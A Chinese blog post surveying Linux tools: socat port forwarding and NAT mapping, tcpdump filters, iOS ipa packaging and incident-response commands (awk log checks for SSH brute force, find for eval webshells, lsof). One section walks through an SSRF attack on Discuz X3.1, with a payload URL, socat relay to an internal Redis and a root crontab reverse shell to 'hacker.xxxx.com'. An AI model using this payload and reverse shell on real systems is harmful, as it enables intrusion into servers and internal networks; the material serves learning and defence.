介绍几个在linux平台运行的工具,顺带表扬下我用了一年的腾讯云学生机
socat
socat的安装
Centos
1 | $ yum install -y socat |
Debian/Ubuntu
1 | $ apt-get install -y socat |
macOS
1 | $ brew install socat |
使用实例
1.读文件
1 | # 从绝对路径读取 |
写入文件
1 | echo "This is Test" | socat - /tmp/hello.html |
网络管理
- 连接远程端口
1 | $ socat - TCP:192.168.1.252:3306 |
- 监听一个新端口
1 | $ socat TCP-LISTEN:7000 - |
端口转发
1 | socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 |
1
2
3
4
5
6
7 >1. -d -d 前面两个连续的 -d -d 代表调试信息的输出级别。
>2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
>3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。
>4. bind 指定监听绑定的 IP 地址,不绑定的话将监听服务器上可用的全部 IP。
>5. reuseaddr 绑定一个本地端口。
>6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口,这里是 172.17.0.15 的 15672 端口。
>
转发 UDP
转发 UDP 和 TCP 类似,只要把 TCP4 改成 UDP4 就行了。
1 | $ socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172 |
NAT映射
在一个 NAT 网络环境中,也是可以通过 Socat 将内部机器端口映射到公网上的。
在外部公网机器上执行
1 | $ socat tcp-listen:1234 tcp-listen:3389 |
在内部私网机器上执行
1 | $ socat tcp:outerhost:1234 tcp:192.168.1.34:3389 |
这样,你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。不过这样场景下更推荐内网穿透神器 FRP,如果你不会使用,可参考「推荐一款很好用的内网穿透工具–FRP」一文。
配合CURL SSRF
什么地方最容易出现SSRF
- 云服务器商。(各种网站数据库操作)
- 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)
- 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
- 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
- 最后一个一切要你输入网址的地方和可以输入ip的都放,都是ssrf的天下。
SSRF漏洞的危害
- 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
- 攻击运行在内网或者本地的应用程序
- 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
- 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
- 下载内网资源(利用file协议读取本地文件等)
- 利用Redis未授权访问,HTTP CRLF注入达到getshell
- wooyun峰会猪猪侠的ppt
- 进行跳板
- 无视cdn
SSRF神器Curl的使用
查看curl支持的协议列表 #curl--config –protocols
使用curl读取文件
curl -v file:///etc/passwd
使用ftp协议
curl -v "ftp://127.0.0.1:6666/info"
使用dict协议
curl -v "dict://127.0.0.1:6666/info"
使用gopher协议
curl -v "gopher://127.0.0.1:6666/_info"
案例
ssrf.php内容
1 |
|
① payload:
1 | http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp&ip=172.28.100.108&port=6666&data=he2lo.jpg[/img] |
② socat的使用
本地kali监听,当在受害者网站执行上面的payload 的时候,本地的6666端口收到消息,然后将数据包发送给本地的172.28.100.108:6379(相当于内网中开放redis服务的6379端口)
1 | socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379 |
③ kali本地执行
到redis服务器的上查看/var/spool/cron目录下已经创建了root文件内容为
1 | */1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1 每一分钟向攻击者的服务器的9999端口建立连接 |
将socat的输出信息保存为1.txt,上传到公网服务器上
① 使用Python脚本转换为gopher支持的格式
在这之前应该检测是否支持gopher协议
1 | python fpm.py 1.txt |
② kali服务器上存放gopher.php
1 | <?php |
③ 在受害者存在ssrf的网站上访问,本地nc监听 即可拿到shell
tcpdump
该命令应急以及平时都会经常使用到,linux下抓包观察流量的作用
监视指定网络接口的数据包
1 | tcpdump -i eth1 |
也可以指定ip,例如截获所有210.27.48.1 的主机收到的和发出的所有的数据包
1 | tcpdump host 210.27.48.1 |
抓取所有经过eth1,目的或源地址是192.168.1.1的网络数据
1 | tcpdump -i eth1 host 192.168.1.1 |
监视指定主机和端口的数据包
如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令
1 | tcpdump tcp port 23 host 210.27.48.1 |
对本机的udp 123 端口进行监视 123 为ntp的服务端口
1 | tcpdump udp port 123 |
- 指定源地址
1 | tcpdump -i eth1 src host 192.168.1.1 |
- 指定目的地址
1 | tcpdump -i eth1 dst host 192.168.1.1 |
- 抓取所有经过eth1,目的或源端口是25的网络数据
1 | tcpdump -i eth1 port 25 |
- 指定源端口
1 | tcpdump -i eth1 src port 25 |
- 指定目的端口
1 | tcpdump -i eth1 dst port 25 |
进阶用法
TCP标记值:
tcp-fin, tcp-syn, tcp-rst, tcp-push, tcp-push, tcp-ack, tcp-urg
- 只抓SYN包
1 | tcpdump -i eth1 'tcp[tcpflags] = tcp-syn' |
- 抓SYN, ACK
1 | tcpdump -i eth1 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack != 0' |
- 抓PSH-ACK
1 | tcpdump -i eth1 'tcp[13] = 24' |
- 抓所有包含FIN标记的包(FIN通常和ACK一起,表示幽会完了,回见)
1 | tcpdump -i eth1 'tcp[13] & 1 = 1' |
- 抓RST(勾搭没成功,伟大的greatwall对她认为有敏感信息的连接发RST包,典型的棒打鸳鸯)
1 | tcpdump -i eth1 'tcp[13] & 4 = 4' |
- 抓SMTP数据
1 | tcpdump -i eth1 '((port 25) and (tcp[(tcp[12]>>2):4] = 0x4d41494c))' |
- 抓HTTP GET数据
1 | tcpdump -i eth1 'tcp[(tcp[12]>>2):4] = 0x47455420' |
- 抓SSH返回
1 | tcpdump -i eth1 'tcp[(tcp[12]>>2):4] = 0x5353482D' |
ios打包成ipa
脚本自动生成ipa包
Step1: 新建文件夹,命名为“distribute”,新建distribute.sh脚本文件,内容为:(注意,脚本中所有appName请先替换成你的真正app名称)
1 | rm -rf appName |
Step2: 将要转化的.app文件放到distribute/文件夹下
这时的文件夹目录结构是这样的:(注意,脚本中所有appName请先替换成你的真正app名称)
1 | distribute/distribute.sh |
Step3: 运行distribute.sh脚本
打开Terminal,cd到distribute文件夹下,把distribute.sh拉到terminal中执行。如果提示permission denied,则用“chmod 777 distribute.sh”命令赋予权限后,再执行一次distribute.sh。
Step4: 大约若干秒后,会在distribute/文件夹下生成appName/文件夹,里面的appName.ipa就是我们想要的包。
手动压缩改后缀方式
这种方式与4.1的方法本质是一样的。
Step1: 新建“Payload”文件夹,注意名字要一字不差;
Step2: 将你的.app包放到Payload中,注意app的名字不做任何更改,就用xcode生成的app名称;
Step3: 在Payload文件夹上右键压缩成zip,然后将生成的.zip文件后缀改成.ipa即可
一些应急的linux命令
uniq
uniq命令用于报告或忽略文件中的重复行,一般与sort命令结合使用。
1
2
3
4
5
6
7
8
9
10 > -c或——count:在每列旁边显示该行重复出现的次数;
> -d或--repeated:仅显示重复出现的行列;
> -f<栏位>或--skip-fields=<栏位>:忽略比较指定的栏位;
> -s<字符位置>或--skip-chars=<字符位置>:忽略比较指定的字符;
> -u或——unique:仅显示出一次的行列;
> -w<字符位置>或--check-chars=<字符位置>:指定要比较的字符。
> sort file.txt | uniq -u 只显示单一行
> sort file.txt | uniq -c 统计各行在文件中出现的次数
> sort file.txt | uniq -d 在文件中找出重复的行
>
sort
sort命令是在Linux里非常有用,它将文件进行排序,并将排序结果标准输出。sort命令既可以从特定的文件,也可以从stdin中获取输入。
1
2
3
4
5
6
7
8
9
10
11
12
13 > -b:忽略每行前面开始出的空格字符;
> -c:检查文件是否已经按照顺序排序;
> -d:排序时,处理英文字母、数字及空格字符外,忽略其他的字符;
> -f:排序时,将小写字母视为大写字母;
> -i:排序时,除了040至176之间的ASCII字符外,忽略其他的字符;
> -m:将几个排序号的文件进行合并;
> -M:将前面3个字母依照月份的缩写进行排序;
> -n:依照数值的大小排序;
> -o<输出文件>:将排序后的结果存入制定的文件;
> -r:以相反的顺序来排序;
> -t<分隔字符>:指定排序时所用的栏位分隔字符;
> +<起始栏位>-<结束栏位>:以指定的栏位来排序,范围由起始栏位到结束栏位的前一栏位。
>
awk
awk是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入(stdin)、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。awk有很多内建的功能,比如数组、函数等,这是它和C语言的相同之处,灵活性是awk最大的优势。
1 | 常用命令选项 |
当使用不带参数的print
时,它就打印当前行,当print
的参数是以逗号进行分隔时,打印时则以空格作为定界符。在awk的print语句块中双引号是被当作拼接符使用,例如:
1 | echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }' |
双引号拼接使用:
1 | echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }' |
{ }类似一个循环体,会对文件中的每一行进行迭代,通常变量初始化语句(如:i=0)以及打印文件头部的语句放入BEGIN语句块中,将打印的结果等语句放在END语句块中。
定位有多少 IP 在爆破主机的 root 帐号:
1 | grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more |
登录成功的 IP 有哪些:
1 | grep "Accepted " /var/log/ secure | awk '{print $11}' | sort | uniq -c | sort -nr | more |
head
head命令用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。
1 | -n<数字>:指定显示头部内容的行数; |
type
type命令用来显示指定命令的类型,判断给出的指令是内部指令还是外部指令。
命令类型:
- alias:别名。
- keyword:关键字,Shell保留字。
- function:函数,Shell函数。
- builtin:内建命令,Shell内建命令。
- file:文件,磁盘文件,外部命令。
- unfound:没有找到。
1 | [root@localhost ~]# type nginx |
wc
wc命令用来计算数字。利用wc指令我们可以计算文件的Byte数、字数或是列数,若不指定文件名称,或是所给予的文件名为“-”,则wc指令会从标准输入设备读取数据。
1 | -c或--bytes或——chars:只显示Bytes数; |
lastb
lastb命令用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于/var/log
目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。
1 | -a:把从何处登入系统的主机名称或ip地址显示在最后一行; |
find
1 | find /var/www/html/ -type f -name '*.php'|xargs grep 'eval' |more 查找php文件中带有eval字符串的文件 |
find:在指定目录下查找文件
\# -name //根据文件名查找(精确查找) \# -iname //根据文件名查找,但是不区分大小写 \# -user //根据属主来查找文件 \# -group //根据属组来查找文件 \#find /tmp -uid 500 //查找uid是500 的文件 \#find /tmp -gid 1000 // 查找gid是1000的文件 \# -o 连接两个不同的条件(两个条件满足其一即可) \# -not 对条件取反的 -type f // 普通文件 d //目录文件 l //链接文件 b //块设备文件 c //字符设备文件 p //管道文件 s //socket文件 [查找完执行的action] \# -print //默认情况下的动作 \# -ls //查找到后用ls 显示出来 \# -ok [commend] //查找后执行命令的时候询问用户是否要执行 \# -exec [commend] //查找后执行命令的时候不询问用户,直接执行 find /tmp -name "*.sh" -exec chmod u+x {} \; //这里要注意{}的使用:替代查找到的文件 find /tmp -name "*.sh" -exec cp {} {}.old \; //这里要注意{}的使用:替代查找到的文件 find /tmp -atime +30 –exec rm –rf {} \; //删除查找到的超过30天没有访问过文件 find /var/www/ -type f -name '*.php'|xargs grep 'eval' |more //使用xargs来对查找到的文件进一步操作
-mtime -n +n 按文件更改时间来查找文件,-n 指 n 天以内,+n 指 n 天前
-atime -n +n 按文件访问时间来查找文件,-n 指 n 天以内,+n 指 n 天前
-ctime -n +n 按文件创建时间来查找文件,-n 指 n 天以内,+n 指 n 天前
1 | find ./ -mtime 0 -name "*.php" (查找 24 小时内被修改的 php 文件) |
ss特殊权限的文件查看
1 | find / *.jsp -perm 4777 |
lsof
lsof命令用于查看你进程开打的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。
1
2
3
4
5
6
7
8
9
10
11
12
13 > -a:列出打开文件存在的进程;
> -c<进程名>:列出指定进程所打开的文件;
> -g:列出GID号进程详情;
> -d<文件号>:列出占用该文件号的进程;
> +d<目录>:列出目录下被打开的文件;
> +D<目录>:递归列出目录下被打开的文件;
> -n<目录>:列出使用NFS的文件;
> -i<条件>:列出符合条件的进程。(4、6、协议、:端口、 @ip )
> -p<进程号>:列出指定进程号所打开的文件;
> -u:列出UID号进程详情;
> -h:显示帮助信息;
> -v:显示版本信息。
>
1 |
|
grep -rni "shell.name" * : 根据文件名特征查找
find / -size 1223123c : 根据文件大小特征查找
find / -mtime 1 -name * : 根据文件创建时间查找
lsof -p PID:查看进程占用信息
cd /proc/PID : 进入到进程中
cat * |strings -n 5 |more : 读取该进程内存中的信息
reference: